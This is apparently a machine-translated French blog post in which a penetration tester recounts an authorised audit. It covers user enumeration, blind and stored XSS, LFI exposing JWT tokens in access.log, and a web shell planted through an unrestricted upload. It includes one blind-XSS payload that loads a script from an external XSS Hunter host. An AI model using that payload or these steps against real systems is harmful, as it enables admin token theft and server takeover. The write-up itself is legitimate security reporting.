Au début de l'année, un employé d'une entreprise m'a écrit. Si je comprends bien, il y avait un petit conflit dans l'entreprise. À cause de cela, il y avait un risque de compromis du système par certains des employés. La décision de vérifier le système était certainement la bonne. Après tout, les résultats de l'inspection m'ont agréablement surpris et "désagréablement" surpris le client.
L'architecture du système était, en principe, standard. Il était basé sur un service d'authentification. De plus, selon le jeton émis par jwt, l'utilisateur pourrait utiliser les fonctionnalités du système sur différents sous-domaines.
Les tests étaient limités à un sous-domaine. Mais le plus basique selon les clients. Je ne dirai pas en détail toutes les erreurs et problèmes. Ils ont été beaucoup découverts. Je ne décrirai que ceux qui me paraissent les plus curieux.
Redondance des informations lors de la recherche d'utilisateurs
La requête de recherche d'utilisateurs a permis de recevoir un ensemble d'informations de la nature suivante - ID utilisateur, Nom, Login, avatar ...
Sans aucun problème, il a été possible de collecter la base de données complète des utilisateurs Login_name. Il n'y avait pas non plus de restrictions spéciales dans la fonctionnalité de connexion. Il a ensuite été possible de sélectionner un mot de passe dans plusieurs flux ou d'effectuer un phishing ponctuel sur les utilisateurs les plus importants du système.
Aveugle XSS en demandant une assistance aux utilisateurs.
J'ai eu l'impression que ce problème est présent dans 90% des systèmes que je rencontre. Plus tôt, les «saccades» des plates-formes pour regrouper les avis m'ont été transmises à plusieurs reprises. Les accès aux systèmes de surveillance du comportement des utilisateurs sur Internet ont également volé. Il y avait beaucoup de choses. Cependant, peu de gens comprennent à quel point cela peut être dangereux. Plus précisément, cette vulnérabilité a été écrite
ici .
Dans ce cas, je me suis assuré que l'attaque fonctionnait par accident lorsque j'ai reçu une notification de
XSS Hunter . Le vecteur d'attaque était le suivant:
"><script src=https://sa.xss.ht></script>
Mais le client ne croyait pas que je pouvais obtenir le contrôle du panneau d'administration via ce vecteur d'attaque. Après tout, toutes les informations précieuses sont stockées dans un stockage local. Étant donné que XSS Hunter ne prend pas en charge la réception d'informations de stockage local, j'ai dû déployer mon propre enregistreur XSS. La
publication suivante a
été très utile. À la suite de l'attaque répétée, il a été possible de vérifier que le jeton jwt de l'administrateur peut être facilement obtenu par des moyens malveillants, même à partir du stockage local.
Eh bien, avec les droits d'administrateur du système, vous pouvez tout faire.
XSS stocké dans un e-mail.
Une fonctionnalité a été découverte dans le système qui vous permet de créer des invitations par e-mail encadrées pour enregistrer de nouveaux utilisateurs. Vous pouvez insérer le nom de la personne sous forme de lettre. Pour rendre le courrier électronique plus personnel. En conséquence, tout le contenu n'a pas été échappé et est tombé dans la lettre. Pour mener à bien une attaque xss similaire réussie via une lettre, vous devez connaître le client de messagerie de la victime et connaître le xss jour zéro pour ce client. En général, le succès de cette attaque, par définition, était négligeable. Jusqu'au moment où j'ai trouvé un curieux bouton dans le coin supérieur de la lettre.
C'était l'occasion d'ouvrir une version Web de la lettre. Et là, une surprise m'attendait. Mon XSS a fonctionné. Dans le même temps, la version Web de la lettre a été ouverte sur le sous-domaine admin. *. Com
Double surprise pour ainsi dire.
Fichier disponible access.log
Dans le processus d'audit, j'ai trouvé un endroit intéressant. Lorsque différents caractères entraient dans la demande, 404 arrivait en réponse du serveur, mais périodiquement, la réponse 404 était légèrement différente de la précédente. Parfois, il y avait un en-tête supplémentaire. Parfois non. Une certaine mutation dans les réponses du système m'a incité à vérifier l'inclusion du fichier local (
LFI ) à cet endroit. J'ai configuré le dictionnaire lfi et attendu que le système renvoie des réponses à toutes mes demandes. En conséquence, lors de la visualisation des résultats du test, j'ai été très surpris de la réponse avec un statut de 200 avec une taille très importante des données transmises.
Il s'est avéré que j'ai trouvé un fichier lisible access.log. Ce fichier a enregistré toute l'activité sur le serveur. En incluant dans ce fichier, il était possible de détecter les jetons utilisateur jwt.
Le délai d'expiration de ces jetons était assez long. Et cela aussi n'était pas très bon.
Accès complet du shell Web au serveur
En principe, tous ces éléments sont des problèmes courants. Mais certains types de vulnérabilités sont déjà difficiles à rencontrer. Il s'agit d'accéder au serveur via du code soigneusement chargé dans le fichier shell.php. Après quoi, tous les projets situés sur ce serveur sont compromis.
Bo0oM a écrit sur ce problème en 2016 sur son blog.
Mais revenons à mon exemple. Le système avait la capacité de faire des publications. Dans le même temps, une image pourrait être téléchargée pour publication. L'image a été enregistrée sur le même domaine. Mais le nom du fichier a été changé de force. C'est-à-dire que vous téléchargez - mypicture.jpg. Mais en conséquence, vous obtenez 12345.jpg. J'ai décidé de vérifier ce qui se passerait si je transférais le fichier xml (à cette époque, je rêvais apparemment de rencontrer XXE). Et à ma grande surprise, j'ai obtenu la réponse 123556.xml. Et puis j'ai réalisé qu'il y a 99% de chances de succès avec l'extension de fichier php pour le web shell. Pour cette attaque, j'ai utilisé le
shell b374k . Avec un accès direct au dossier - j'ai obtenu ce que je voulais. Accès aux répertoires du serveur.
Mais ce n'était pas la chose la plus triste. Le plus triste, c'est que grâce à cette vulnérabilité, il a été possible de compromettre plus de 10 projets qui se trouvaient dans le répertoire racine de ce serveur.
Mon ami
cyberpunkyc a dit que cela pouvait être vu en 2007-2010. Hélas, dans la cour de 2019. Un problème similaire existe à ce jour.
À la suite des tests, le client a été très surpris par les résultats. Et j'étais très heureux d'avoir été très utile dans les tests. Si vous avez des suggestions de projets intéressants, n'hésitez pas à m'écrire par
télégramme ;)